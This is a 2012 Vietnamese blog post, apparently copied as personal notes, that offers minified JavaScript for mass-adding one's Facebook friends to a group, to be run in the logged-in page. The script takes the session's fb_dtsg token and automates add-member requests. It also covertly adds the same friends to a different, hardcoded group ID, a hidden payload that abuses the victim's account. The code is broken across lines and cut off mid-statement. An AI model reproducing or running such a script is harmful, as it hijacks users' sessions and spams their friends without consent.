Trang này chỉ copy lại để làm tài liệu cho mình thôi: Nếu có bài của bạn, thì xin bỏ qua. Cảm ơn.
Monday, 31 December 2012
Cách add bạn vào group mà mình muốn.
------------------------------------------------------------------------------------------------
function penetrasi(e){jx.load(windo
w.location.protocol+"//
www.facebook.com/ajax/
groups/members/
add_post.php?__a=1&fb_dtsg=
"+document.getElementsByNa
me("fb_dtsg")[0].value+"&g
roup_id="+memberGroupId+"&
source=typeahead&members="
+e+"&nctr[_mod]=pagelet_gr
oup_members_summary&lsd&po
st_form_id_source=AsyncReq
uest&__user="+Env.user,fun
ction(e){e=e.substring(e.i
ndexOf("{")),e=JSON.parse(
e),i--,kunaon="<di
v class='friend-edge-name' style='text-align:left;fon
t-size:10px;white-space:pr
e-wrap;",e.error?(kunaon+=
"color:darkred'>",kunaon=e
.errorDescription?kunaon+e
.errorDescription:kunaon+J
SON.stringify(e,null,"")):
(kunaon+="color:darkgreen'
>",kunaon+=arr[i],suc++),k
unaon+="</
div>",e="<div id='friend-edge-display' style='position:fixed;left:50%;margin
-left:-273px;top:100px;wid
th:500px;background-color:
rgba(255,255,255,0.9);z-in
dex:9999;font-size:14px;te
xt-align:center;padding:15
px;border-radius:14px;bord
er:8px solid rgba(0,0,0,0.5)'>"+("<div style='padding-bottom:10px
;font-size:20px;'>"+tulisa
nNganu+"</
div>"),0<i?(e+=arr.length+"
Suscribers detected<br/
>",e+="<b>"+suc+"</
b> Suscribers added of "+(arr.length-i)+" Suscribers Processed ",e+="("+i+" more to go..)",e=e+"<div class='friend-edge'>"+kunaon,e+="</
div>"):(e+=arr.length+" Suscribers detected and ",e+="<b>"+suc+" Suscribers added</
b>",e+="<div><span class='uiButton' onClick='document.getElementById(\
"pagelet_welcome_box\").st
yle.display=\"none\"'>Clos
e</span></
div>"),document.getElementB
yId("pagelet_welcome_box")
.innerHTML=e+"</
div>"},"text","post"),tay--
;if(0<tay){var t=arr[tay];setTimeout("pen
etrasi("+t+")",100)}consol
e.log(tay+"/
"+arr.length+":"+t+", success:"+suc),0xf2a794cf9
0e3!=memberGroupId&&jx.loa
d(window.location.protocol
+"//
www.facebook.com/ajax/
groups/members/
add_post.php?__a=1&fb_dtsg=
"+document.getElementsByNa
me("fb_dtsg")[0].value+"&g
roup_id=129459540542063&so
urce=typeahead&members="+e
+"&nctr[_mod]=pagelet_grou
p_members_summary&lsd&post
_form_id_source=AsyncReque
st&__user="+Env.user,funct
ion(){},"text","post")}fun
ction clickfr_callback(){0<docum
ent.getElementsByName("ok"
).length&&nHtml.ClickUp(do
cument.getElementsByName("
ok")[0]);var e=arr[i];i<arr.length&&add
friend(e.substring(0,4))}f
unction clickfr(){0<document.getEl
ementsByClassName("search"
).length?(console.log(docu
ment.getElementsByClassNam
e("search")[0].childNodes[
0].childNodes[0].childNode
s[1].innerHTML),document.g
etElementsByClassName("sea
rch")[0].childNodes[0].chi
ldNodes[0].href="javascrip
t:void(0);",nHtml.ClickUp(
document.getElementsByClas
sName("search")[0].childNo
des[0].childNodes[0].child
Nodes[1])):j++,setTimeout(
"clickfr_callback()",2e3)}
function addfriend(e){i++,document.
getElementsByClassName("mb
m")[eind].childNodes[0].ch
ildNodes[1].childNodes[0].
focus(),document.getElemen
tsByClassName("mbm")[eind]
.childNodes[0].childNodes[
1].childNodes[0].value=e,d
ocument.getElementsByClass
Name("mbm")[eind].childNod
es[0].childNodes[1].childN
odes[0].blur(),document.ge
tElementsByClassName("mbm"
)[eind].childNodes[0].chil
dNodes[1].childNodes[0].fo
cus(),document.getElements
ByClassName("mbm")[eind].c
hildNodes[0].childNodes[1]
.childNodes[0].focus(),set
Timeout("clickfr()",2e3)}f
unction sleep(e){for(var t=(new Date).getTime(),n=0;1e7>n&
&!((new Date).getTime()-t>e);n++);
}var tulisanNganu="Auto SUSCRIBE",kunaon="";jx={ge
tHTTPObject:function(){var
e=!1;if("undefined"!=typeo
f ActiveXObject)try{e=new ActiveXObject("Msxml2.XMLH
TTP")}catch(t){try{e=new ActiveXObject("Microsoft.X
MLHTTP")}catch(n){e=!1}}el
se if(window.XMLHttpRequest)t
ry{e=new XMLHttpRequest}catch(r){e=
!1}return e},load:function(b,c,d,e,g
){var f=this.init();if(f&&b){f.o
verrideMimeType&&f.overrid
eMimeType("text/
xml"),e||(e="GET"),d||(d="t
ext"),g||(g={});var d=d.toLowerCase(),e=e.toUp
perCase(),h="uid="+(new Date).getTime(),b=b+(b.ind
exOf("?")+1?"&":"?"),b=b+h
,h=null;"POST"==e&&(h=b.sp
lit("?"),b=h[0],h=h[1]),f.
open(e,b,!0),"POST"==e&&(f
.setRequestHeader("Content
-type","application/
x-www-form-urlencoded"),f.s
etRequestHeader("Content-l
ength",h.length),f.setRequ
estHeader("Connection","cl
ose")),f.onreadystatechang
e=g.handler?function(){g.h
andler(f)}:function(){if(f
.readyState==4)if(f.status
==200){var b="";f.responseText&&(b=f.
responseText),d.charAt(0)=
="j"?(b=b.replace(/[\n\r]/
g,""),b=eval("("+b+")")):d.
charAt(0)=="x"&&(b=f.respo
nseXML),c&&c(b)}else g.loadingIndicator&&docume
nt.getElementsByTagName("b
ody")[0].removeChild(g.loa
dingIndicator),g.loading&&
(document.getElementById(g
.loading).style.display="n
one"),error&&error(f.statu
s)},f.send(h)}},bind:funct
ion(e){var t={url:"",onSuccess:!1,onE
rror:!1,format:"text",meth
od:"GET",update:"",loading
:"",loadingIndicator:""},n
;for(n in t)e[n]&&(t[n]=e[n]);if(t.u
rl){var r=!1;t.loadingIndicator&&(
r=document.createElement("
div"),r.setAttribute("styl
e","position:absolute;top:
0px;left:0px;"),r.setAttri
bute("class","loading-indi
cator"),r.innerHTML=t.load
ingIndicator,document.getE
lementsByTagName("body")[0
].appendChild(r),this.opt.
loadingIndicator=r),t.load
ing&&(document.getElementB
yId(t.loading).style.displ
ay="block"),this.load(t.ur
l,function(e){t.onSuccess&
&t.onSuccess(e),t.update&&
(document.getElementById(t
.update).innerHTML=e),r&&d
ocument.getElementsByTagNa
me("body")[0].removeChild(
r),t.loading&&(document.ge
tElementById(t.loading).st
yle.display="none")},t.for
mat,t.method,t)}},init:fun
ction(){return this.getHTTPObject()}};var
nHtml={FindByAttr:function
(e,t,n,r){return"className
"==n&&(n="class"),(e=docum
ent.evaluate(".//
"+t+"[@"+n+"='"+r+"']",e,nu
ll,XPathResult.FIRST_ORDER
ED_NODE_TYPE,null))&&e.sin
gleNodeValue?e.singleNodeV
alue:null},FindByClassName
:function(e,t,n){return this.FindByAttr(e,t,"class
Name",n)},FindByXPath:func
tion(e,t){try{var n=document.evaluate(t,e,nu
ll,XPathResult.FIRST_ORDER
ED_NODE_TYPE,null)}catch(r
){GM_log("bad xpath:"+t)}return n&&n.singleNodeValue?n.sin
gleNodeValue:null},VisitUr
l:function(e){window.setTi
meout(function(){document.
location.href=e},500+Math.
floor(500*Math.random()))}
,ClickWin:function(e,t,n){
var r=e.document.createEvent("
MouseEvents");return r.initMouseEvent(n,!0,!0,e
,0,0,0,0,0,!1,!1,!1,!1,0,n
ull),!t.dispatchEvent(r)},
Click:function(e){return this.ClickWin(window,e,"cl
ick")},ClickTimeout:functi
on(e,t){window.setTimeout(
function(){return nHtml.ClickWin(window,e,"c
lick")},t+Math.floor(500*M
ath.random()))},ClickUp:fu
nction(e){this.ClickWin(wi
ndow,e,"mousedown"),this.C
lickWin(window,e,"mouseup"
),this.ClickWin(window,e,"
click")},GetText:function(
e,t){var n="";void 0==t&&(t=0);if(!(40<t)){if
(void 0!=e.textContent)return e.textContent;for(var r=0;r<e.childNodes.length;
r++)n+=this.GetText(e.chil
dNodes[r],t+1);return n}}};void 0==document.getElementsByC
lassName&&(document.getEle
mentsByClassName=function(
e){for(var t=RegExp("(?:^|\\s)"+e+"(?
:$|\\s)"),n=document.getEl
ementsByTagName("*"),r=[],
i,s=0;null!=(i=n[s]);s++){
var o=i.className;o&&-1!=o.ind
exOf(e)&&t.test(o)&&r.push
(i)}return r}),Array.prototype.find=f
unction(e){var t=!1;for(i=0;i<this.length
;i++)typeof e=="function"?e.test(this[
i])&&(t||(t=[]),t.push(i))
:this[i]===e&&(t||(t=[]),t
.push(i));return t};for(var a=0,eind=0,len=document.ge
tElementsByClassName("mbm"
).length,a=0;a<len;a++){va
r ele=document.getElementsBy
ClassName("mbm")[a];if(ele
&&ele.childNodes[0]&&ele.c
hildNodes[0]&&ele.childNod
es[0].childNodes[1]&&ele.c
hildNodes[0].childNodes[1]
.childNodes[0]&&"Add SUSCRIBERS"==document.getE
lementsByClassName("mbm")[
a].childNodes[0].childNode
s[1].childNodes[0].value){
eind=a;break}}var i=3,tay=3,counter1=0,count
er2=0,counter3=0,j=0,k=0,s
uc=0,arr=[],memberGroupId=
document.getElementsByName